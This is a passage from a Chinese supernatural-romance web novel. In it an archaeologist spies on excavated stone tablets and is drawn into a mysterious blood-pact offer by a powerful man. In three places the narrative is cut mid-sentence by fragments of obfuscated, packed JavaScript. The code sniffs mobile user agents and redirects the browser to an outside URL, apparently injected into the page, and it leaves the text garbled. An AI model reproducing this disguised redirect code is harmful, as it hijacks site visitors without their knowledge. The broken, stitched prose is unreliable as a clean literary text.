暮春的夜晚仍带着寒意,深山中的寒气更重,钻入骨头般的阴冷。 秦颂躲在一颗粗壮的树干后面,远远望着山的另一头,支起雨布的临时工作地点。 直到何真的身影再次出现,秦颂连忙悄悄地迈着步伐,不远不近跟在他的身后。 她的心情很激动,因为何真要去的地方,是任教授一直瞒着自己的临时工作室。 也就是暂时存放《天问书》的地方! 鹰鸮呜呜的叫声,偶尔在山林之中回荡,显得神秘而阴森。 秦颂跟随着何真来到了临时工作室之外,她静静地等待着,直到一个小时之后,再也没有看到有其他人的身影出入这座小房子,她才小心翼翼地靠近屋子,寻找到了一个可以观看到屋子内部情况的小裂缝。 当她看清屋内的情景时,浑身的血液都在叫嚣着,从未如此激动过! 屋里放着一张巨大无比的桌子,而桌子上,摆放着一块又一块的深色石板。 原来,这就是《天问书》! 深埋地下,经历了几千年的世事变迁,地貌变化,属于古国的图腾与符文,还很好地记录在一块块石板上面。 秦颂看到,何真与男同事,正站在桌子旁边,俯下身子,小心翼翼地用刷子,轻轻刷去石板上的泥土。 她很庆幸自己的视力够好,可以看到石板上刻着的文字。 凭借着断断续续的文字记录,以及图腾,秦颂拼凑出了第一个,关于和夷鬼国的故事。 神降人间,建立国家。 王朝的统治者,是一个人面龙尾,后背长着蝶翼的女神。 女神骑着猛虎,手持通天权杖,能与太阳对话。 天黑之后,女神便居住在月亮之中,身旁由两条巨蛇守护着。 巨蛇有九个头,善战凶猛,所到之处寸草不生,大地干旱,巨蛇会吸干所有的河水。 女神赐予巨蛇神职,令其可腾云驾雾,吸水降雨。 接着下一块石板上记录的内容,便是婚礼景象。 原来越国的第一桩人神通婚,便是巨蛇化作的高大男子,与人类女性结为夫妇。 婚宴上,妻子双手扶在丈夫的肩膀两侧,身体则是被丈夫的蛇尾拖抱起来。 秦颂忍着浑身的鸡皮疙瘩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242806|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她怕蛇。 所以看到蛇相关的东西,会不由自主地感到害怕。 秦颂深呼吸一口气,睁大了眼睛,强行让自己认真看下去。 但是下一块石板的内容,更是让她想要昏倒过去。 人类妻子诞下了蛇婴,无数条小蛇缠绕在她的周围,而妻子的怀抱里,是一个人面蛇尾的小婴儿。 好恶心,好可怕…… 但是职业素养让她忍住了一切不适的情绪。 一切为了研究,一切为了考古。 秦颂在心里默念这两句话,然后继续往下看。 但后面的石板还没清理出来,无法看到更多的内容。 秦颂心中虽觉有些可惜,但自己已经知道了临时工作室位置在哪里,之后有的是机会来偷看。 这样想着的时候,她感觉自己的脚面上似乎有什么冰冷柔软的东西快速滑过,身体反应比脑子还快,没等她意识到是什么,就已经不由自主发出了声音。 但她立马捂住了嘴,蹲下身子,快速而轻巧地躲到旁边的一处树林中去。 何真也听到了声音,但他出门查看的时候,却什么也没看到。 “应该是风声吧……” 何真望着远处浓密而黝黑的森林,喃喃自语着。 借着月光,秦颂这一次下山的速度很快。 她没有选择回房间休息,而是悄无声息来到了村小学的一栋教学楼里。 这栋楼被借给了他们,充当临时办公室。 秦颂也有一间专属于自己的屋子。 她打算连夜把自己的所见所得都记录下来。 但当她路过任教授的办公室时,意外地发现,里面居然有人。 任教授在。 仅打过一次交道的殷九斯,居然也在。 “小颂,都这个点了,你怎么来了?”任教授看到她之后,很是意外。 秦颂快速飞转大脑,想出了一个借口。 “睡不着,回来拿点资料看看。” 任教授点了点头,没再说什么。 倒是一旁的殷九斯,忽然开了口。 他的眼神从一开始,便直勾勾地盯着秦颂。 “她就是想参与《天问书》破译的秦颂吗?” 秦颂心头一惊,随后又是一喜,立马抬起眼神望向殷九斯。 他是殷家人,或许他可以替自己说话,让自己能够加入破译工作中。 任教授拿起手边的文件,连连称是,“殷总可以看看,这里面是秦颂之前的工作成就,她可以说是,国内目前最好的越朝文化研究员之一。” 殷九斯姿势与表情不变,完全没有理会一旁的任教授,眼神依旧钉在秦颂身上。 语气淡淡,又带了几分说不清道不明的压迫感。 “所以,你想参与吗?” 这句话是问秦颂的,显然是在等秦颂表态。 秦颂没想到机会这么容易就到来,连忙上前一步,用力点头,语气认真。 “我想!” 听到她的回复之后,殷九斯的表情明显愉悦了起来。 但他的下一句话,却令秦颂的心情,又沉了几分。 “优秀的研究员很多,你不是唯一。” “只要我想,全世界的顶尖考古学专家都能为我所用。” “我凭什么帮你呢?你能给我什么好处?” 5. 蛇神 秦颂一直在回想那天发生的事情。 她不止一次地想过,如果那天,她没有那么主动地向殷九斯表达,只要可以参加天问书的破译工作,自己愿意付出一切代价。 事情的结果,会不会不一样? 但是在了解殷九斯的本性之后,她才明白。 不管那天,自己表现如何。 结果都是注定了的。 殷九斯从一开始,就没打算放过她。 那天夜里,秦颂并没有得到任何承诺,稀里糊涂地就被请出了办公室。 而后来发生的事,就像是走马灯一样,快速进行着。 秦颂再一次偷偷上山想去临时工作室查看破译进度时,被殷九斯发现了。 她已经是第二次在大半夜的山林中,碰到殷九斯了。 实在想不通,这个传闻中高高在上的殷家人,到底有什么理由,大半夜的独自一人在深山老林里闲逛。 不知道的,还以为他家就在山里呢。 皎白的月光之下,秦颂一把拽住殷九斯的手,用着很大的力气,把他拖离了临时工作室附近,不想惊扰到里面的人。 直到走进一丛密林之中,秦颂才放开他的手腕。 这时候她才发觉,自己的力气很大,把殷九斯的手腕,都捏出了一圈深红色。 而这个男人,居然也一直没有出声,就这样冷冰冰地望着她,跟着她走。 “抱歉了,殷先生,我不是故意想这样对你的。”秦颂开口对他道歉。 “我来这里的事,没有任何人知道。” 秦颂眼神清冷地望着他,丝毫没有因为他的身份而产生任何畏惧感。 也完全不害怕殷九斯会把她私闯临时工作地的事情捅出去。 秦颂甚至想过,要是殷九斯把这件事告诉了大家,那她也会把他们禁止女性工作者参与译书工作的事情说出去。 大不了鱼死网破。 但是殷九斯的反应,却出乎她的意料。 男人的面容依旧冰冷,但借着明亮皎洁的月光,秦颂却似乎看到他的眼神里,有什么复杂的情绪在涌动着。 一阵微凉的山风吹过他们之间,夜深了,秦颂觉得有些冷,而殷九斯一直没有给她任何反应,只是微微靠在一棵粗壮的杉树树干上,眼神一直看着她,面容表情没有一丝变化。 也许是夜太静了,又太深了,恍惚之间,秦颂忽然生出一丝异样的感觉。 面前这个男人,像是完美的美人假象,不真实,与现实世界有层厚膜隔着。 但是这个的感觉只存在了几秒钟,就被她否决了。 因为殷九斯终于有反应了,他抬头看了看月色,然后说了句,要下雨了,就拉着秦颂往山下走去。 两人下山的步伐不算慢,但还是没能赶在下雨前回到村子里。 走到半山腰的时候,噼里啪啦的大雨倾盆而下,秦颂慌忙跟着殷九斯后面,躲进了一座荒废的山庙之中。 而令人想不到的是,他们居然还在这里碰到了任教授与另一位同事。 原来任教授一行人是来做田野调查的,也是碰上了大雨,所以找到了这个山庙躲雨。 秦颂解释自己是想走访附近的村落,调查与收集有关和夷古国的故事传说,工作得太晚,所以也迷路了。 对于自己的说法,殷九斯没有任何反应,而是找到了一堆枯叶树枝,为众人点了了一个火堆。 四个人围坐在火堆旁,取着暖,听着屋外的落雨声,一时之间,陷入了沉默。 最后还是同事先打开了话题。 他笑呵呵地指着山庙里破败的神像,隔着火堆对秦颂说,“你知道这座庙里供奉的神仙是哪位吗?” 秦颂借着微弱的火光,努力辨认神像的特征,最后发现是自己完全陌生的风格特点。 她摇了摇头,“不认识。看神像的体态具有北魏造像的特点,但是服饰似乎又是明清时期的?” 男同事笑容幅度变大,却又带了一丝恶作剧的意味,“这是蛇神。” 蛇! 秦颂心中一揪,眼睛瞪大了,望着男同事,“你认真的?” 男同事点了点头,看向任教授,“在你们进来之前,我正跟教授研究神像呢,就是蛇神,不会有错的,而且附近村子里,都有拜神的习俗。” 秦颂痛苦地紧闭双眼,努力压制住心中的恐惧,深呼吸了几口气,才睁开眼睛,但不再去看神像。 任教授看出了她的异样,止住了同事继续说下去,“好了好了,别再说这个了,小颂怕蛇你又不是不知道,不许再闹了。” 一直靠在柱子边闭幕眼神的殷九斯,这会儿却突然睁开眼,望着秦颂,“你怕蛇?” 男同事点了点头,“对呀,小颂好像以前是被蛇咬过,所以特别怕蛇。” 秦颂不想让殷九斯误会自己的工作能力,于是连忙开口解释道,“只要不让我看见蛇就行,殷总放心,绝对不会影响我的正常工作。” 干考古这一行,经常在野外待着,少不了跟野生动物打交道。 秦颂虽然怕蛇,但也不是没有过强忍恐惧干活儿的经历。 殷九斯闻言,勾了勾嘴角,似笑非笑。 橘黄色跃动的光影之下,给他的面容染上了几分道不清辨不明的邪性美感。 男同事却不打算止住话题,依旧喋喋不休说着。 “小颂你不去看神像就好了!但是今天我跟教授打听到的消息,可以跟你分享,对你之后的研究也很有帮助!” “附近的村子之所以有拜蛇神的习俗,是据说,他们的祖先,就是跟蛇神繁衍,生下后代,才慢慢壮大成一片村庄的。” 秦颂心头一跳,立马联想到昨天晚上,她在《天问书》石板上看到的画像。 人类女子与蛇神通婚。 “人跟蛇怎么可能繁衍后代?生殖隔离难道不存在了?这大概是这里的村民祖先对于蛇类动物的生殖崇拜,而衍生出来的神话传说吧。” 秦颂不太相信这个故事。 男同事嘿嘿一笑,挠着头,说不出话来了。 而任教授接过了话头。 “在中国古代神话中,女娲与伏羲一直被描绘成人首蛇首且互相缠绕的形象,其实这也很可能意味着,女娲与伏羲,是人蛇结合。” “而关于人类女子产蛇的传闻,在《搜神记》中亦有记载。后汉定襄太守窦奉妻,生子武,并生一蛇。” “不过这些都并非真实故事,也都是神话传说,故事传闻罢了。” 任教授说完这番话,还回头去看了看,沉默地矗立在不远处阴影之中的神像。 企图能从那座破旧的蛇神造像中,得出什么答案。 然而,另一个答案,却从殷九斯的口中说了出来。 秦颂很少听到他说话,此刻他的声音,夹带了几丝暗夜中雨水的潮气与低哑,却又仿佛有种魔力,让人一下子陷入他说的故事中去。 “人跟蛇,当然能在一起。” “人跟蛇的孩子,也能很正常地生活在这个世界上,不会被任何人发现异样。” 男同事哈哈笑起来,“殷总是在讲故事吗?” 殷九斯抬起眼皮,直直看向秦颂,淡淡的笑意挂在他的脸上。 “是真的。” 这句话,他是对着秦颂讲的。 秦颂被他的眼神盯得心里有点发毛,连忙移开了眼睛,望向别处。 “那人跟蛇的孩子,究竟是人的模样,还是蛇的模样呢?”男同事嘻嘻哈哈地追问着,显然没有当真。 殷九斯的语气依旧淡淡的,秦颂却品味出了几分认真。 “只要ta想,就可以变成任何样子。这就是神的孩子。” 那个雨夜,在山庙中的对话,很快就被众人抛到脑后。 没有人会相信,这个世界上,会存在人与蛇生下的孩子。 关于这个荒诞的故事,原来男同事是想再拉着秦颂聊一聊,顺便吐槽一下殷家人的脑洞。 然而他没想到的是,那夜之后,他就再也没有见过秦颂。 直到任教授宣布,秦颂递给他一封辞职信之后,就神秘消失了。 关于秦颂去了哪里,没有任何人知道。 又是一个暴雨夜。 雷声轰隆。 秦颂抱着被子坐在床上,眼神失焦,身体微微颤抖着。 冰冷的水意,潮湿的洞穴,黏腻的液体,金色的瞳孔。 以及,男人温热而占有欲十足的怀抱。 不!不!不! 门外的敲门声变得急促了起来,同时还响起了微弱的呼喊声。 “颂颂,颂颂……” 一声又一声地呼喊,把秦颂的神志稍微拉回了现实中。 恍恍惚惚之间,她看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242807|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围的景象,才意识到,自己已经回到家了。 意识完全回归,秦颂回过神,听到大门外的声音,来自熟悉的前任。 怎么会是他? 秦颂光着脚踩在地板上,借着冰凉的地板冷意让自己更清醒,同时朝着大门走去。 门打开,外面站着的,果然是徐望。 几年未见,他似乎发福了一些,脸变得圆润了不少。 当看到门后面的秦颂时,他眼中闪过惊艳。 秦颂比他记忆里,变得更漂亮了,还多了一丝说不清道不明的风情气质。 “颂颂,真的是你。”徐望努力露出一个得体又帅气的笑,只是脸上多余的肉,把眼睛挤成了一条缝,“我刚在楼上看到你的背影,还不敢相信呢!你们不是已经搬走了吗,怎么今晚又回来住了?” 搬走了? 秦颂确实不知道这件事。 不过也不怪家里人,毕竟那几年,自己在那个地方……她们联系不上自己也正常。 “好久不见,你还好吗?结婚了吗?”徐望又接着问道。 秦颂脸上没有任何表情,眼睛无神地望着他,不作回答,也没有任何动作。 徐望以为对方还在怪他,讪讪地说道,“你还在生我的气呢?当年的事,是我对不起你……” 正话语间,另一道怒气冲冲的声音响了起来。 “老公,你在这里做什么?怎么不回家!” 徐望露出一个不耐烦的表情,看也没看来人,语气更差地回了一句,“你烦不烦,整天盯着我,没有别的事情干了吗?” 来人正是徐望现在的老婆,袁元。 袁元这些年也变了许多,变得更干瘦了,脸上的眼袋很明显,一副操劳过度的模样。 她挡着徐望面前,皮笑肉不笑地看向秦颂,语气尖锐。 “秦颂,好久不见啊,怎么你一回来,就迫不及待地要找我老公叙旧啊?你自己没有老公吗?” “还是说。”袁元鼻孔里发出一声轻微却存在感极强的嘲讽声,“你没人要啊?很缺男人?” 秦颂面对二人的你一言我一语,依旧没有任何反应。 就像是在看两个陌生人一样。 袁元以为秦颂是故作高冷,瞧不起她,怒火反而更旺盛了,伸出手就想推秦颂一把。 “以后你离我老公远点,再让我看见你勾引男惹,别怪我不客气!” 但是她的手还没碰到秦颂,便被后面赶来的人一把推开。 胸前背着宝宝的秦宜怒目圆瞪,恶狠狠地望着袁元。 “你有毛病吧!明明是徐望来找我姐姐的,你管不住自己的老公,还好意思来找我们的麻烦?” 说着秦宜一把抄起门边的扫把,朝着俩人挥舞而去。 “滚滚滚!什么脏东西也敢来我家门口待着!” 袁元被打得狼狈尖叫,一个劲往徐望身后躲去。 “还有啊,你今天在我家门口说的这些话,我会一个字不落地全转告我姐夫!你们等着被收拾吧!” 此话一出,三个人的脸色都变了。 徐望面如死灰地看着秦颂,一副心碎模样,“颂颂,你已经结婚了吗,我怎么不知道……” 袁元的脸色则是红一阵白一阵的,看着徐望的模样,又伤心又难堪,最后骂骂咧咧地硬拉着徐望离开了。 而秦颂则是一下子醒了过来,不再是神游天外的模样。 她急忙拉着妹妹的手,确认刚才她说的话。 “姐夫?什么姐夫?谁是姐夫?” 秦宜一脸莫名其妙,“就是姐夫啊,你自己的老公都不记得啦?” 她以为姐姐在跟自己闹小脾气,怪她们没有提前告诉她搬家的事。 秦宜拉着姐姐进了屋,边关门边说,“姐啊,你也真是的,偷偷结婚就算了,还不肯让姐夫回家见见我们。这些年啊,多亏了姐夫帮忙,家里好多事情才能顺利解决。” “改天找个时间,我们真得好好谢谢姐夫。” 秦宜边说着,边解开身上背带的扣子,想先把女儿放下来,但她却一直没有听到身后有人回应她的动静。 秦宜奇怪地转过头,往后面一看。 只见自己的姐姐,面色苍白地站在大门口,身体似乎还在微微发抖。 久久之后,姐姐嘶哑的声音响起。 “他……叫什么名字?” 6. 人神通婚 秦宜差点以为姐姐在跟自己开玩笑。 她“啊”了一声,微微张着嘴,露出一个有点摸不着头脑,茫然的笑容。 “姐,你怎么了?是想考考我吗?姐夫名字是殷九斯啊。” 屋外的雨下得更大了,狂风大作,吹得阳台的玻璃窗呼呼作响,风刮过玻璃发出刺耳的声音,让人心生不安与烦躁。 秦宜走到阳台处查看玻璃窗的情况,“老房子就是这样,窗子不太严实,姐,你休息得怎么样了?待会儿我们一起回新家,别住这里了。” 直到她把所有的窗子都检查了一遍,也没有得到姐姐的回复。 秦宜有些疑惑地转身去看姐姐,却见到身子本就单薄的姐姐,此时站在屋子中央,双手垂落身侧,却是紧紧攥着拳头的模样,浑身抑制不住地微微发着抖,面色苍白,一双漂亮的眼睛,此时正无神地怔楞地望着地板,不知道在想什么。 秦宜慌张地走了过去,伸手去摸姐姐的额头,试探温度。 “姐,你怎么了?是不是生病了?哎呀,我赶紧给爸妈打电话,他们去找停车位了,怎么还没有上来!” 秦宜身前还绑着宝宝的背巾,让她行动很不方便,但她还是努力地把秦颂拉到沙发上坐着,然后拿出手机给爸妈打电话。 “喂,妈妈,你们上来了吗?姐姐现在状态很差,好像生病了。对,你们赶紧上来,我们带她去医院……” 坐在沙发上的秦颂,表情不变,仍然是一副出神怔楞的模样。耳边妹妹的声音就像是被风吹散一样,渐渐地,她什么都听不见了。 眼前浮现的,是两年前的一幕幕。 团队里的所有人都知道,秦颂想参加《天问书》的破译工作。 但是所有人也都知道,她不能参加,不被允许参加。 那段时间里,秦颂只能参与常规的记录工作,写写探方日记,管理一些文字与数据。 这令她感到很憋屈。 后来她再次偷偷上山,去看临时工作室,却发现那间小屋子,已经人去楼空了。 他们转移阵地了。 不知道是不是因为发现了她。 这更让秦颂懊恼不已。 深山中春夏之交多雨,绵密的细雨下个不停,空气中又潮湿又闷热。 这一天是村寨里的节日,叫做三月节,村民们纷纷围在村子中央的广场上,举办各种活动,好不热闹。 任教授也给大家放了一天假,所有同事都去三月节上游玩了,只有秦颂独自留在办公室处理新一批数据,不知不觉就忙到了傍晚六点多。 天色渐渐暗了下来,她抱着刚处理好的文件,从楼里走出来的时候,便看见远处村子中心,正燃起篝火,青年男女们手牵着手,围着篝火跳舞,欢声笑语,热闹极了。 秦颂情不自禁地被这样快乐的氛围影响着,脚步往那边走去。 却在经过另一处空地时,又看到了那辆熟悉的黑色劳斯莱斯。 殷九斯的车。 秦颂假装没有看见,把头扭过一边,脚步匆忙,想要赶紧绕过这片空地,去往热闹的地方。 但走到一个拐角处时,冷不丁耳边响起一道声音,让她浑身一个激灵。 “秦颂。” 她猛然回头,看到殷九斯正在自己身后不远处,闲散地站着,指尖松松地夹着一支烟,还抬手凑到唇边吸了一口。 薄薄的烟雾之中,他那双神色不明的眼睛,定定地钉在秦颂身上。 “走那么急是要去哪?” 他问道。 秦颂抱着怀里的资料,回望他的眼神,“去村子里参加活动,挺热闹的,殷先生不去吗?” 闻言,殷九斯露出一个笑,但那笑容里的含义,却让秦颂有点看不懂。 似乎带了一点嘲讽,以及一点冷意。 “你知道那是什么活动吗?” 秦颂不明所以地摇了摇头。 “三月节,是他们青年男女,求偶的节日。你那么着急去参加,是也想求偶了?” 殷九斯话里轻蔑的意味,让秦颂有些意外,有些尴尬,更多地是一股无名火。 于是她冷冷地回了一句,“我求不求,跟殷先生都没有关系吧。” 说罢,她抬起脚便想离开,不再过多理会殷九斯。 但是那人却不肯放她走,长腿一迈,挡在了她的身前。 一股清冽的木质清香迎面而来。 同时又夹杂着几丝说不清道不明的怪异腥甜味。 这是什么奇怪的香水味道啊。 秦颂在心里嘀咕着,但面上不显。 殷九斯很高,似乎有一米九,身高一米七的秦颂站在他面前,还得抬起头,才能看到他的脸。 夕阳只剩最后一缕光线,橘色的霞光暗了下来,在半明半暗的天色之下,秦颂只能看到,面前男人的眸子,似乎亮得出奇。 “你要做什么?” 话音刚落,面前的男人动作极快,一下子就捏住了秦颂的脸。 秦颂心中大惊,刚要说话,男人就出声了。 “当然跟我有关系。” 是在回复她前面说的那句话。 “因为,我不允许。” 被捏住脸的秦颂,说话很不方便,但她还是冷着语气,不屑地看着殷九斯。 “殷先生,你不是我的上司,也不是我的老板。我的私事,你无权干涉。” 殷家势力的确很庞大,但这并不代表着,他们的考古工作,全都仰仗着殷家的安排。 殷九斯别太把自己当回事了! 闻言,殷九斯却并不生气,反而又凑近了她几分,湿热的气息扑在秦颂脸上,让她很不舒服,挣扎了几下,却逃脱不开殷九斯的力气。 这个男人的力气,出奇的大! “你不是想参加《天问书》的破译吗?我可以让你参加。” 此话一出,秦颂不挣扎了,她毫不闪躲地与对方的眼睛直视。 “我需要付出的代价是什么?” 殷九斯脸上的笑意加深了几分,但那双眸子依旧是冷冷的,笑意不达深处。 “你不需要付出任何代价。” “你只需要,把你的血,跟我的血,交融在一起,并且对我说,你愿意,就可以了。” “神经病!”秦颂怒骂了一声,然后再次挣扎,想要摆脱殷九斯的控制,却还是无果。 “你到底想要干嘛!”秦颂怒视着他。 “我说了。”殷九斯的语气冰冷,“你只要照我说的去做,你就可以参加《天问书》的破译。” “不止如此,你不是想研究更多的越朝历史吗?我能满足你的所有研究愿望,甚至你们查不到,查不出来的,我都能告诉你。” 秦颂惊疑不定地望着眼前的男人,难道殷家有什么秘藏的历史资料?又或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242808|197812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷九斯只是在胡言乱语。 “我凭什么……”秦颂的话还没说完,又再次被殷九斯打断。 “你凭什么相信我,对吧?” “就凭,我有《天问书》的完整版本。” 面前的男人笑意淡淡,但在秦颂眼里看来,这无异于是魔鬼的笑容。 在引诱她,促使她堕下深渊。 “你不是已经偷看到出土的石刻版本了吗?你不想知道,后面的内容是怎么样的吗?” 紧接着,殷九斯又说出一个令秦颂震撼的消息。 “你只看到了人神通婚的内容吧,要是我告诉你,出土的版本并不完整,是和夷人故意隐瞒的呢?” 秦颂的大脑快速飞转着,几秒钟之后,她又想到了一件事情。 “国内关于和夷族的研究很少,甚至全世界,都没有几个研究者,你说的这些,也无凭无据,如果你是在哪里,得到过所有的历史资料,自己研究出的这番理论,那真的是太可笑了。” “我一个字也不会相信的。” “那你想亲眼看看吗?” “什么?” “《天文书》。” 殷九斯的话,对于秦颂来说,无异是一个巨大的诱惑,她无法抵挡。 在欲望的驱使之下,秦颂跟着他上了那辆豪车,司机是个沉默的青年,一路开着车,沿着漆黑的山道,驶向前方。 秦颂知道这样很危险,对方是神秘莫测的大人物,他想私底下对自己做出什么举动,自己毫无招架之力。 但秦颂就是在赌,赌殷九斯真的愿意带她去看真正的《天问书》,赌自己的运气,也许她真的可以,亲眼看到,摸到,《天问书》。 车子不知行驶了多久,一直开进了一座古朴庄严的山间旧别墅里。 “这是哪里?” 秦颂下了车,在车灯的照射下,面前的建筑物,透露出几分恐怖感。 “殷家老宅。” 殷九斯也下了车,随后走在前面,秦颂赶紧小跑着跟上。 她的右手放在口袋里,紧紧握着手机,要是遇到什么突发情况,她就会立马按下紧急联络人的号码。 别墅里只亮着几盏昏黄的壁灯,秦颂要紧紧跟在殷九斯的身后,不要就会碰到墙壁或者是家具。 “这里只有你一个人住着吗?” 听到秦颂的问题,殷九斯脸上露出一个令她看不懂的表情。 “不,我们家族的人都住在这里。” 他的回答让秦颂心里不安的预感扩大了。 这话是什么意思? 但还来不及细想,殷九斯已经停下了脚步,他回头看秦颂。 “这里面,便放着《天问书》。” 秦颂看着面前这扇古铜色的厚重大门,心中疑惑浓重。 难道留存于世的《天问书》不止一个版本?其中一份真的在殷家? “你确定要看吗?” 殷九斯再次发问。 秦颂肯定地点了点头,来都来了,是真是假,她都要进去看看! 但殷九斯的下一句话,又令她犹豫了起来。 “那你必须得答应我之前说的话。” “把你的血,跟我的血,交融在一起,并且对我说,你愿意,就可以了。” 什么?这难道是什么仪式吗? 还是,殷九斯想要跟秦颂达成什么不可告人的契约? 7. 别再跟殷家人走得太近了 秦颂站在那扇通往神秘世界的大门前,久久未动。 无它,殷九斯的这番话,实在是太诡异了。 秦颂作为一名考古研究人员,从业那么多年,其实也接触过一些神秘学相关的事物。 他们团队几年前曾在某个边远省份进行考察工作,她就亲眼目睹过当地一场“施咒下蛊”的行为。 据说是两家因为某些事结仇,其中一家人回到家里后便立即唤出家中的“蛊”,当天夜里,另一户人家的孩子,就看到家中游进了一条通体斑斓的大蛇,但这条蛇只是把家里的几间屋子都游走了一遍,随后离开。 这户人家并没有太当回事,毕竟在农村,遇到大蛇的情况很多。 但两天之后,这户人家的妻子便开始出现了高烧、意识不清、浑身抽搐的状况,送去医院也没有治好。 后来还是村里的某个长辈提起,她是不是中了蛊,才一下子点醒了这家人。 随后他们便找来邻村一位巫师,摆坛设香,进行驱蛊仪式。 举行仪式的时候,秦颂便和自己的同事在一旁看着。 说起来他们是异乡人,是不被允许参观这件事情的。 但秦颂跟那户人家的孩子交好,曾给孩子送过零食,所以在孩子的劝说下,大家才勉强同意她们围观,但是不许拍照录像。 巫师起术,站在供台前念念有词,中蛊的女人被丈夫搀扶着坐在一旁的椅子上,脸色苍白,紧闭着眼睛,摇摇欲坠。 随后巫师烧了几张符纸,纸灰倒入碗中,与雨水混合,让女人服下。 女人已经虚弱得张不开嘴,还是丈夫强行把她的嘴掰开,把水灌入。 效果立竿见影。 几乎是刚把那碗水喝下去,不到几秒钟,女人便开始抽搐,一抽一抽的模样,看着令人心惊。 接着她睁开眼睛,弯着腰,嘴一张,哇啦哇啦吐出了一堆黑黑绿绿的东西。 在场的人看到从她嘴里吐出来的是什么之后,发出了恐惧与惊奇的尖叫。 居然是一对拇指粗细的小蛇。 人的胃里,居然可以存在那么多条蛇! 并且这些蛇被吐出来的时候,还是活着的! 在地上扭曲着肢体,翻滚着。 巫师见状,又点燃了一张符纸,往地上一扔,小蛇们身上全着了火,在火光中扭动着,没多会儿,就没了动静。 如若这场驱蛊巫事,到这里就结束了,秦颂也没有觉得多惊奇。 因为吐出活蛇这件事情,其实不是个例。 历史上,以及世界内,是有过多次相关事件的记载的。 但她亲眼看见,那群小蛇没了动静之后,忽然,一大群虚影般的蝴蝶,从火光中冲了出来,向四周分散飞去。 村民中有人惊呼道。 “是鬼蝴蝶!大家快躲开!别被这种蝴蝶碰到身子,会中蛊的!” 人们惊叫着纷纷躲闪,秦颂在其中也被推搡着,慌乱之间,鬼蝴蝶已经冲出屋子,向远山飞去,直至不见。 而方才地上的那对蛇尸,也全都消失了。 只剩下符纸的黑灰色余烬,静静躺在地上。 那场法事之后没几天,那户人家的妻子便恢复了健康。 而下蛊的人家,却在法事之后,全家都从村子里消失了,他们的房子一直留在村子里,成为村里人永久的传说。 回想起这件神奇的“蛊事”,秦颂想,她承认世界上也许真的存在某些人类肉眼无法感知到的神秘仪式,世界很大,宇宙也很大,发生什么事情,都不足为奇。 所以她不想拿自己的健康去冒险。 以血融血,并亲口说我愿意。 听起来,完全就是某种契约执行的手段。 谁知道殷九斯想对她做什么呢。 见她久久未动,也没有任何回应,殷九斯有些不耐烦了。 他抬起手,苍白而劲瘦的手指搭在门把手上,只需要轻轻一扭,就能把那扇大门打开。 “想好了吗?秦颂。” 殷九斯每次喊她的名字时,总带着一股暧昧又戏谑的冷意。 “还是说,你不敢?” 殷九斯故意说道,“其实你对于《天问书》破译的热爱程度,根本就没有那么高。” 秦颂没有陷入他的圈套。 她冷静而沉着地回应殷九斯的挑衅,“殷先生,你口口声声说,这件屋子里,存放着《天问书》,我已经无条件信任你,上了你的车,来到这里。但你的提议实在过份,我无法认同。” 说着,她抬起眼睛直视殷九斯,然后又惊讶地发现,借着窗外微弱的月光,男人的瞳孔又闪过了一丝妖异的金色,随后又恢复正常。 “如果不按你说的做,我就无法看到《天问书》,那我选择离开。” 说完这番话之后,两人之间又陷入了长久的沉默。 其实秦颂根本不愿意离开,她只是在赌,赌殷九斯最后还是会让她看到《天问书》,赌殷九斯似乎一直对她有种微妙的示好与靠近,虽然她并不明白是为了什么。 秦颂承认自己的长相确实还可以,但身为殷家人,什么绝色没有见过呢。 自己的性格,也无半分讨好与活泼,她并不自恋,不认为殷九斯对她有男女之情。 唯一的解释就是,殷九斯看上了她的专业技能。 她可是国内为数不多,深入研究越朝文明的学者,并且是最有能力破译《天问书》的人之一。 也许殷家私藏了许多历史文物,又没有办法解开文物背后的真相与迷,所以殷九斯有求于她。 秦颂赌赢了。 几分钟之后,殷九斯露出一个毫无温度的笑容,一言不发,但是手上有了动作。 他轻轻一扭,”咔哒“一声,那扇门,被打开了。 秦颂的心怦怦直跳,她强压着激动,让自己的表情保持冷静,但脚步一迈,直接越过殷九斯,先踏入了那间屋子。 屋子里光线昏暗,厚重的暗色丝绒窗帘紧紧拉着,几盏暖黄色的壁灯可以让秦颂勉强看清屋子里的陈设。 这里似乎是间书房,摆放着许多大书柜,以及两张巨大的书桌。 秦颂往屋子里走去,边走边不动声色地打量着,殷九斯跟着她后面,不发一语。 直到秦颂在大书桌旁边停下来脚步,殷九斯站在一张书柜面前,拿下了一本厚重泛黄的书籍。 他把这本书放在秦颂面前。 秦颂迟疑地看着书籍,又抬头看向殷九斯,“你确定这就是《天问书》吗?你们怎么会有纸质版的呢?” 她会有这样的疑问也很正常。 